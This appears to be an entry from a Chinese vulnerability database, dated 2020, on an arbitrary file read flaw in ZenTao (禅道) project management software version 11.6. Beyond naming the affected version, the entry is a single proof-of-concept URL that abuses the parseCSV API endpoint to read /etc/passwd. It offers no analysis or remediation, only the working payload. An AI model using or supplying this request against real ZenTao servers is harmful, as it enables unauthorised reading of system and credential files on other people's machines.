禅道11.6任意文件读取

—
title: ‘禅道11.6任意文件读取’
date: Thu, 17 Sep 2020 01:38:25 +0000
draft: false
tags: [‘白阁-漏洞库’]
—

### 影响范围

禅道 11.6

### 漏洞POC

“`
http://127.0.0.1/zentaopms_11.6/www/api-getModel-file-parseCSV-fileName=/etc/passwd
“`